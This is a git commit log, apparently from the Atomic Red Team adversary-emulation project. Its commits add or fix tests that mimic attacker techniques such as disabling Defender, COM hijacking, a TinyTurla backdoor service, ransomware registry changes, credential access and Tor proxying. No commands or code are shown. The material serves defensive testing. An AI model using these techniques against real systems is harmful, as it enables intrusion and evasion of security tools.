CircleCI Atomic Red Team doc generator a3717a8c52 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-04 04:34:08 +00:00
CircleCI Atomic Red Team GUID generator b355887a3c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-04 04:34:02 +00:00
Adam Mashinchi 4ace9f41d2 Update T1036.005.yaml (#1795)
Cleanup file and add new test "Masquerade" test.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-03 22:33:27 -06:00
Araveti Esanya Reddy 6b9b55ff88 Automated o365 Exchange Audit Log disabled scenario 2022-03-03 16:27:56 +05:30
CircleCI Atomic Red Team doc generator 0e616b34b3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-02 22:00:09 +00:00
CircleCI Atomic Red Team GUID generator 28e7237bc1 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-02 22:00:03 +00:00
SecWilson b62ba2e548 Atomic that mimics recent Qakbot behavior (#1793)
* Atomic that mimics recent Qakbot behavior

* small edits

removed elevation_required, shortened test name, made some readability updates.

Co-authored-by: Wilson <SWilson@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-03-02 14:59:28 -07:00
CircleCI Atomic Red Team doc generator 9d17172d5b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-02 20:37:37 +00:00
CircleCI Atomic Red Team GUID generator 150d0db325 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-03-02 20:37:30 +00:00
Leo Verlod a24baaf6da Adding T1217 Test 8 - List Safari Bookmarks (#1794)
Adding T1217 Test 8 - List Safari Bookmarks for MacOS. This test locates any Safari bookmarks files and outputs the file paths to a text document.
2022-03-02 13:36:51 -07:00
CircleCI Atomic Red Team doc generator 021449e282 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-28 19:20:26 +00:00
Carrie Roberts a1f4a9b8e2 move uacme.zip into RC repo (#1790)
* move uacme.zip into RC repo

* set outfile
2022-02-28 12:19:52 -07:00
dependabot[bot] e6dcefa095 Bump nokogiri from 1.12.5 to 1.13.3 (#1791)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-26 14:58:50 -06:00
CircleCI Atomic Red Team doc generator 74bdf86845 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-24 21:32:47 +00:00
CircleCI Atomic Red Team GUID generator 3ebf9c41ff Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-24 21:32:42 +00:00
Leo Verlod c01fece41f Adding T1090.003 Test 4 - Tor Proxy Usage on MacOS (#1789)
This test is designed to launch the Tor proxy service on MacOS.
2022-02-24 14:32:16 -07:00
CircleCI Atomic Red Team doc generator 1693f83068 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-22 23:58:21 +00:00
CircleCI Atomic Red Team GUID generator 66ecac79c7 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-22 23:58:16 +00:00
BigPint 285db746a7 Initial creation of BlackByte Ransomware Registry Changes atomic (#1787)
* Initial creation of BlackByte Ransomware Registry Changes atomic

* Updated T1112 Yaml

Added line at the end
Removed auto guid
added -cmd to test name

Co-authored-by: Wilson <SWilson@nti.local>
2022-02-22 17:57:54 -06:00
CircleCI Atomic Red Team doc generator 021fe46502 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-22 15:39:03 +00:00
CircleCI Atomic Red Team GUID generator 319908bbc5 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-22 15:38:58 +00:00
Leo Verlod a50772cdf6 Adding T1090.003 Test 3 - Tor Usage on Debian/Ubuntu (#1786) 2022-02-22 08:38:30 -07:00
CircleCI Atomic Red Team doc generator 6bacc32286 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-21 17:35:33 +00:00
CircleCI Atomic Red Team GUID generator 79ff4f08bc Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-21 17:35:27 +00:00
frack113 771a4fba70 Sigma sysmon_susp_mic_cam_access (#1785) 2022-02-21 10:34:57 -07:00
CircleCI Atomic Red Team doc generator 2f802d60e7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-18 18:00:32 +00:00
Bhavin Patel 2a1fa2498c Merge pull request #1784 from clr2of8/giturl
github perm url
2022-02-18 09:59:58 -08:00
Carrie Roberts daa211f444 github perm url 2022-02-17 15:56:26 -07:00
CircleCI Atomic Red Team doc generator a917a6fe3e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-17 21:58:24 +00:00
Carrie Roberts fad941ace9 update script link (#1783) 2022-02-17 14:57:50 -07:00
CircleCI Atomic Red Team doc generator 1259433119 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-17 18:55:02 +00:00
Eloy ef2792b098 T1046 2 fix prerequisites (#1781)
* T1046-2: set elevation_required: true

* T1046-2: add netcat prerequisite

* T1046-2: add telnet prerequisite

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-17 11:54:29 -07:00
IntelScott 89ff9a817f Create T1003.005.yaml (#1780)
* Create T1003.005.yaml

* Update T1003.005.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-17 10:54:23 -07:00
CircleCI Atomic Red Team doc generator 822dcbdb0e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 20:23:40 +00:00
CircleCI Atomic Red Team GUID generator 1bdc7b2855 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 20:23:35 +00:00
Lou Stella a4ef8ea382 DiskShadow Execution of script (#1778)
* DiskShadow Execution of script

* Added reference to description

* Implemented dspath check
2022-02-15 14:23:09 -06:00
CircleCI Atomic Red Team doc generator cb88319f98 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 13:56:29 +00:00
CircleCI Atomic Red Team GUID generator eed223eecd Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 13:56:23 +00:00
Leo Verlod 391c790aa4 Adding T1090.003 Test 1 - Tor Usage (Windows) (#1779)
This test is designed to emulate the Tor proxy service being utilized on Windows, which can then be connected to via other applications to anonymize traffic.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-15 06:55:54 -07:00
CircleCI Atomic Red Team doc generator 1792b93448 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 13:15:07 +00:00
CircleCI Atomic Red Team GUID generator 284f07af70 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-15 13:15:02 +00:00
CyberBilly7 a3ead89e7c Psiphon (#1771)
* message

* Update T1090.003.yaml

* Final updates b4 merge

Removed input arg, split dependencies out into two different ones, made use of USERPROFILE environment variable to improve robustness of test.

* use %USERPROFILE% environment variable

Co-authored-by: Chase James <cjames@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-15 06:14:43 -07:00
CircleCI Atomic Red Team doc generator f01c461021 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-14 19:20:25 +00:00
glallen 2a77160edf T1546.004: changes default command, adds cleanup command (#1777)
* adds prereq for lsof/T1087.001, fixes other broken prereq cmds

- several instances of: `yum -y epel-release rsyslog` missing an `install`
- adds dependency for lsof

* T1546.004: changes default command, adds cleanup command

The default `/path/to/script.py` was not present, and not cleaned up, which
caused some annoyance with repeat testing.
2022-02-14 13:19:38 -06:00
CircleCI Atomic Red Team doc generator 40da3cb699 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-12 20:02:51 +00:00
CircleCI Atomic Red Team GUID generator 8ef1fbdcf9 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-12 20:02:45 +00:00
frack113 cd6ed162eb Add T1564.006 Virtualbox (#1775)
* Add T1564.006 Virtualbox

* update description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-12 13:02:22 -07:00
CircleCI Atomic Red Team doc generator b9445cf19e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-10 14:40:10 +00:00
glallen a83e73fbe4 adds prereq for lsof/T1087.001, fixes other broken prereq cmds (#1774)
- several instances of: `yum -y epel-release rsyslog` missing an `install`
- adds dependency for lsof
2022-02-10 07:39:32 -07:00
CircleCI Atomic Red Team doc generator 5f5b2d23d5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-09 16:57:44 +00:00
CircleCI Atomic Red Team GUID generator ac50cbfaae Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-09 16:57:39 +00:00
Sittikorn S c07e64a941 Rundll32 with Control_RunDLL (#1773) 2022-02-09 09:57:19 -07:00
CircleCI Atomic Red Team doc generator 4f16aad6f9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-09 15:14:59 +00:00
CircleCI Atomic Red Team GUID generator 0c6399feb1 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-09 15:14:54 +00:00
Clément Notin 54d59022c8 New technique "Create Volume Shadow Copy remotely (WMI) with esentutl" (#1772) 2022-02-09 09:14:25 -06:00
CircleCI Atomic Red Team doc generator 9e92f29f6b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-08 17:38:57 +00:00
CircleCI Atomic Red Team GUID generator c559c7f176 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-08 17:38:52 +00:00
Michael Haag c600d56ced Rundll32 ordinal (#1770) 2022-02-08 11:38:36 -06:00
CircleCI Atomic Red Team doc generator fa8b76090a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-08 16:35:03 +00:00
CircleCI Atomic Red Team GUID generator 05248d675d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-08 16:34:58 +00:00
Leo Verlod 5bcd254baa Adding T1018 Test 15 - DirectorySearcher (#1769)
* Adding T1018 Test 15 - DirectorySearcher

This test is designed to search for computers within an Active Directory domain through use of the DirectorySearcher .NET class in Powershell.

* small update to description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-08 10:34:30 -06:00
CircleCI Atomic Red Team doc generator 66db0f61c0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-08 03:36:52 +00:00
Bhavin Patel 486d16b8fc reverting uuid (#1768) 2022-02-07 21:36:20 -06:00
CircleCI Atomic Red Team doc generator d7042ac308 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 22:00:24 +00:00
CircleCI Atomic Red Team GUID generator 433c20fecb Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 22:00:20 +00:00
Bhavin Patel 1d75fda8df Command and Scripting Interpreter: Bash - 2 new atomics (#1766)
* AutoSUID exeuction

* updates to rpre reg

* linenum tool

* minor

* uuid

* remove uuid
2022-02-07 14:59:53 -07:00
CircleCI Atomic Red Team doc generator ccb98851fe Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:33:54 +00:00
CircleCI Atomic Red Team GUID generator 872d256108 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:33:49 +00:00
Leo Verlod 58ecf3b2c0 Adding T1562.001 Test 27 - Disable Defender with Defender Control (#1765)
* Adding T1562.001 Test 27 - Disable Defender with Defender Control

This test is designed to disable Windows Defender with the "Defender Control" freeware.

* Updating T1562.001 Test 27 for Efficiency

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-07 08:33:33 -07:00
CircleCI Atomic Red Team doc generator da23e1e4b3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:30:23 +00:00
CircleCI Atomic Red Team GUID generator 0e2c45bc4a Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:30:15 +00:00
Kelsey Seymour 20bb31380d Addition of T1546.015 (#1764)
* Addition of T1546.015

Details:
Creation of T1546.015 - COM Hijacking

Testing:
W10 Build 19044.1466

Associated Issues:
None found

* Revert "Addition of T1546.015"

This reverts commit c6442f7526f84820ac12f5a3a3934f39dcc98c1d.

* Addition of T1546.015

Details:
Creation of T1546.015 - COM Hijacking

Testing:
W10 Build 19044.1466

Associated Issues:
None found

* Addition of T1546.015

Details:
Creation of T1546.015 - COM Hijacking

Testing:
W10 Build 19044.1466

Associated Issues:
None found

Revert "Addition of T1546.015"

This reverts commit c6442f7526f84820ac12f5a3a3934f39dcc98c1d.

Addition of T1546.015

Details:
Creation of T1546.015 - COM Hijacking

Testing:
W10 Build 19044.1466

Associated Issues:
None found

* Proper DLL

Noticed older version uploaded.  This is the proper one, and matched to AtomicTest.cpp

* update dll url and leave dll on disk

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-07 08:29:34 -07:00
CircleCI Atomic Red Team doc generator 742483f51c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:05:14 +00:00
CircleCI Atomic Red Team GUID generator 8443011f02 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-07 15:05:09 +00:00
lucasRiley e029a0734d T1036 (#1763)
* T1036

* Update T1036.yaml

* updated description

* correct outfile param

* Add -force to avoid error msg

* update zip url

Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-07 08:04:43 -07:00
CircleCI Atomic Red Team doc generator effcf8b023 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-05 02:53:33 +00:00
CircleCI Atomic Red Team GUID generator 3e31df7f38 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-05 02:53:26 +00:00
Rimsha3108 b63dbfa127 T1218.011_update (#1761)
Co-authored-by: Rimsha Alam <ralam@nti.local>
2022-02-04 20:52:52 -06:00
CircleCI Atomic Red Team doc generator b5c2dc6f78 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 18:25:24 +00:00
CircleCI Atomic Red Team GUID generator 150b02825d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 18:25:18 +00:00
Michael Haag 5eecde1f27 DSInternals - Get-ADReplAccount (#1760) 2022-02-04 12:24:57 -06:00
CircleCI Atomic Red Team doc generator 4173795808 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 15:35:07 +00:00
CircleCI Atomic Red Team GUID generator 883151e2b7 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 15:35:01 +00:00
frack113 57c097aac0 Add phant0m test (#1759)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-04 09:34:34 -06:00
CircleCI Atomic Red Team doc generator 422699b556 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 15:23:19 +00:00
CircleCI Atomic Red Team GUID generator 02653f0263 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-04 15:23:13 +00:00
frack113 c9788df1c1 T1555.003 edge (#1758)
* Add T1555.003 Egde

* fix cleanup
2022-02-04 09:22:41 -06:00
CircleCI Atomic Red Team doc generator 6835dffd2e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-03 17:54:53 +00:00
CircleCI Atomic Red Team GUID generator a870578ef4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-03 17:54:46 +00:00
Bhavin Patel 5f8d08b7db Merge pull request #1748 from WojciechLesicki/master
T1098 - adding user and service principal to both Azure AD role and Azure role.
2022-02-03 09:54:23 -08:00
Bhavin Patel 0e0df960e5 Merge branch 'master' into master 2022-02-03 09:52:28 -08:00
CircleCI Atomic Red Team doc generator 454ad2308d Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-02 16:27:57 +00:00
CircleCI Atomic Red Team GUID generator aeaded3b08 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-02-02 16:27:51 +00:00
nsher07 f9c2a9b69e New Atomic T1543.003 Tiny Turla Backdoor Service w64time (#1756)
* Update T1543.003.yaml

Atomic - T1045.003 - TinyTurla backdoor service w64time
It's running Dll as service to emulate the tine turla backdoor

* Create W64Time.cpp

* The Dll file for T145.003 Tiny Turla

* Fixed YAML syntax

* add blog link to description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-02-02 10:27:20 -06:00
Marrelle Bailey (She/Her) 98c5936be2 Taking out the work covenant (#1754)
deleting a word from the title
2022-02-01 10:49:25 -06:00
Wojciech Lesicki cdb8cbe726 Merge branch 'master' into master 2022-02-01 00:50:38 +01:00
CircleCI Atomic Red Team doc generator 5e043ef568 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 22:59:43 +00:00
Jose Enrique Hernandez 5b28237584 Add links to navigator (#1752)
* added link object, removed comments

* only adds links when parent technique actually has a yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-31 16:59:15 -06:00
CircleCI Atomic Red Team doc generator ebe64397be Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 20:33:23 +00:00
Jose Enrique Hernandez 355d170d62 added link object, removed comments (#1751) 2022-01-31 14:32:50 -06:00
CircleCI Atomic Red Team doc generator 6190062a52 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 19:14:49 +00:00
CircleCI Atomic Red Team GUID generator 152d4e5926 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 19:14:44 +00:00
frack113 4843c6212a Add firefox profile (#1750) 2022-01-31 13:14:24 -06:00
CircleCI Atomic Red Team doc generator 87b786fc7e Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 16:56:12 +00:00
Leo Verlod 58615ef861 Automating getprereqs and fixing prereq errors for T1087.001 Test 5 (#1749)
* Automating getprereqs and fixing prereq errors for T1087.001 Test 5

Updating T1087.001 Test 5 to automatically install the login package that contains lastlog, as well as resolving an issue with its prereqs that results in an unexpected eof error.

* add original guid back in

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-31 10:55:54 -06:00
CircleCI Atomic Red Team doc generator d2fe61bf55 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-31 16:52:15 +00:00
frack113 be58951361 T1550.002 fix test 2 (#1747)
* fix test 2

* fix crackmapexec
2022-01-31 10:51:40 -06:00
WojciechLesicki 901633f873 Removing auto_generated_guid 2022-01-31 00:54:57 +01:00
WojciechLesicki bb9e9f3796 again...correcting list 2022-01-30 23:21:19 +01:00
WojciechLesicki 65560d2572 correcting the name of the test #7 2022-01-30 23:18:31 +01:00
WojciechLesicki 45a06e42db Adding new atomics to the list 2022-01-30 23:17:00 +01:00
WojciechLesicki d3548bd62e T1098 - adding some Azure atomics 2022-01-30 23:13:58 +01:00
CircleCI Atomic Red Team doc generator 51e66c9ab6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-29 19:20:49 +00:00
CircleCI Atomic Red Team GUID generator 8863882725 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-29 19:20:42 +00:00
Jay_darknight 8abff96c87 Added a new test for T1105 - cmdl32 LolBins (#1744)
* Added a new test for T1105 - cmdl32 LolBins

* Added references

* chaning the bin folder to src based on suggesstion from clr2of8

* deleted bin

* changed the path for input arguments

Co-authored-by: Jayaram Rajamurugan <jrajamurugan@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-29 13:20:16 -06:00
CircleCI Atomic Red Team doc generator c3bc891677 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-29 19:18:33 +00:00
frack113 2b26663a2e Fix msxsl.exe link (#1746)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-29 13:18:10 -06:00
CircleCI Atomic Red Team doc generator 7c66ed2443 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-28 20:31:39 +00:00
Carrie Roberts d1dd953057 bump navigator layer version (#1745) 2022-01-28 13:31:05 -07:00
CircleCI Atomic Red Team doc generator 86e2bcea5a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-26 20:13:37 +00:00
CircleCI Atomic Red Team GUID generator 09afb650ec Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-26 20:13:32 +00:00
Scot Pfeffer 4e55b364f7 Create T1557.001 yaml (#1743)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-26 13:13:20 -07:00
CircleCI Atomic Red Team doc generator ab80bae8e0 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-26 20:08:34 +00:00
Carrie Roberts 6b69622b53 removing duplicate test (#1739) 2022-01-26 13:08:01 -07:00
CircleCI Atomic Red Team doc generator 2b804d2541 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-25 20:23:28 +00:00
Kevin2755 3bd6a03d0f Update PathToAtomicsFolder (#1742)
* Update to PathToAtomicsFolder

* Put GUID back in
2022-01-25 13:22:44 -07:00
CircleCI Atomic Red Team doc generator 56cabc39b6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-25 19:19:35 +00:00
CircleCI Atomic Red Team GUID generator 8ff4585f4c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-25 19:19:31 +00:00
Kevin2755 b2043cdf3e Application uninstall using WMIC (#1741) 2022-01-25 12:19:07 -07:00
CircleCI Atomic Red Team doc generator 63d6e4cae5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-25 02:03:44 +00:00
frack113 0057195ef4 Fix wirshark link (#1737)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-24 20:03:15 -06:00
CircleCI Atomic Red Team doc generator 164ebc633a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-25 02:00:08 +00:00
Luke Matison f5090478cb Fix spelling mistake 'diectory' to 'directory' (#1740)
* Fix spelling mistake 'diectory' to 'directory'

* Update T1083.yaml
2022-01-24 19:59:47 -06:00
CircleCI Atomic Red Team doc generator 1c252a7cec Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-24 15:03:44 +00:00
CircleCI Atomic Red Team GUID generator 31a9050bd0 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-24 15:03:39 +00:00
frack113 400a3a1558 fix errors (#1738) 2022-01-24 08:03:09 -07:00
Madhav Bhatt 00801350e5 T1078 004 cloud accounts gcp service accounts (#1734)
* Adding Tests for creation and modification of systemd service

* Update T0137.004.md Markdown to Match T1037.004.yaml

* Adding Atomic Test for Finding and Accessing Unsecured Github Credentials along with Updated Markdown Version T1552.001.md

* Adding Checks whether OS is Ubuntu, CentOS OR Kali

* T1110.004 : Credential Stuffing From Linux & macOS

* T1110.004 : Credential Stuffing From Linux & macOS

* T1110.004 : Credential Stuffing From Linux & macOS

* Fetch Upstream

* Fetch From Upstream

* Fetch From Upstream

* Atomic Test For GCP Service Account

* Atomic Test For GCP Service Account

* Adding CleanUp Commands

* Typo in YAML file

* Google Cloud Shell to Google-Workspace

* changing upper case to lower case

* modified executor and dependecy name

* Adding missing tests from master

* Typo

Co-authored-by: Madhav Bhatt <madhavbhatt@kali.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-21 11:36:27 -07:00
CircleCI Atomic Red Team doc generator 87dcee4a1c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-21 18:33:41 +00:00
CircleCI Atomic Red Team GUID generator 5d37919c53 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-21 18:33:36 +00:00
Michael Haag 8cfb6beafc NIRSoft AdvancedRun (#1735)
* NIRSoft AdvancedRun

* Update T1588.002.yaml

* Update T1588.002.yaml
2022-01-21 11:33:08 -07:00
CircleCI Atomic Red Team doc generator e10b6af25a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-19 22:57:39 +00:00
Adam Mashinchi 2ad7e31f5b Update T1027.yaml (#1733)
Remove nested `executor` found by community member!
2022-01-19 15:57:11 -07:00
CircleCI Atomic Red Team doc generator 2e28c866ef Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-19 21:37:51 +00:00
Carrie Roberts 3d9bef3ed4 follow folder naming standard (#1732) 2022-01-19 14:37:18 -07:00
CircleCI Atomic Red Team doc generator d0ddc296a2 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-19 14:16:20 +00:00
glallen c08dc960af fix systemd-run tests (#1730)
Fixes a typo preventing `systemd-run` with `--on-calendar` from working.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-19 08:16:02 -06:00
CircleCI Atomic Red Team doc generator fc6e722953 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-19 14:14:23 +00:00
glallen efb1185184 T1036.003-2 let sh exit vs forcing hard-timeout (#1731) 2022-01-19 08:13:59 -06:00
CircleCI Atomic Red Team doc generator 7576aff377 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-18 21:57:11 +00:00
Adam Mashinchi f6bbd37d13 Update atomic_red_team.rb (#1729)
Update 'contributing' url.
2022-01-18 15:56:42 -06:00
CircleCI Atomic Red Team doc generator 82eb639321 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-18 14:13:44 +00:00
Carrie Roberts 40b9704888 making test manual to avoid execution errors (#1727)
* making test manual to avoid execution errors

* Update T1027.yaml

* Update T1027.yaml
2022-01-18 07:13:23 -07:00
CircleCI Atomic Red Team doc generator ecdd11f7f9 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-15 02:59:50 +00:00
Carrie Roberts 34cf223454 add UseBasicParsing flag (#1724)
* add UseBasicParsing flag

* Update T1056.004.yaml
2022-01-14 20:59:20 -06:00
Carrie Roberts 52a09fad88 issue #1705 updates (#1723)
issue #1705 updates
2022-01-14 20:56:22 -06:00
Carrie Roberts 0d5638a202 description update and code to match (#1722)
updated as per issue #1712
2022-01-14 20:53:36 -06:00
CircleCI Atomic Red Team doc generator 000b4343d6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-15 02:51:36 +00:00
Carrie Roberts ac9b676c7a remove broken puppetsrings test (#1725) 2022-01-14 20:51:10 -06:00
Carrie Roberts ced385127c Delete puppetstrings (atomic removed) (#1726) 2022-01-14 20:48:06 -06:00
CircleCI Atomic Red Team doc generator 41eb22e4d8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-14 22:05:33 +00:00
frack113 a34cc9dd57 fix reg in T1547.002 (#1720)
* fix reg

* add blog link for more info

* Update T1547.002.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-14 15:04:59 -07:00
CircleCI Atomic Red Team doc generator 98a114b7ab Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-14 21:58:31 +00:00
frack113 8f7c3c34f6 Fix prereq_command (#1721) 2022-01-14 14:58:09 -07:00
Adam Mashinchi 2d4011d961 Update atomic-red-team.gemspec (#1719)
Updating email addresses to more relevant ones.
2022-01-12 14:45:52 -07:00
CircleCI Atomic Red Team doc generator c8c20df839 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:27:25 +00:00
shamanth0912 7669b73daf Modify T1041.yaml (#1716)
* Modify T1041.yaml

Adding cleanup command and prereq command to Base command

* Update T1041.yaml

Modified a bit to only create the file if it doesn't already exist and choosing not to delete since it is only one small file being added to the temp directory without any sensitive information in it.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-12 14:26:26 -06:00
CircleCI Atomic Red Team doc generator 026d71f702 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:25:34 +00:00
frack113 09ac7374a9 T1021.006 Fix prereq error (#1710)
* Fix prereq error

* Update T1021.006.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-01-12 14:24:58 -06:00
CircleCI Atomic Red Team doc generator 73a615693b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:17:07 +00:00
CircleCI Atomic Red Team GUID generator 17c6d08894 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2022-01-12 20:17:02 +00:00
Carl d52425fa8c Merge pull request #1689 from chdd-ltd/T1018
T1018 added three ip utility tests
2022-01-12 13:16:27 -07:00
Carl 2b7f9a381d Merge branch 'master' into T1018 2022-01-12 13:13:35 -07:00
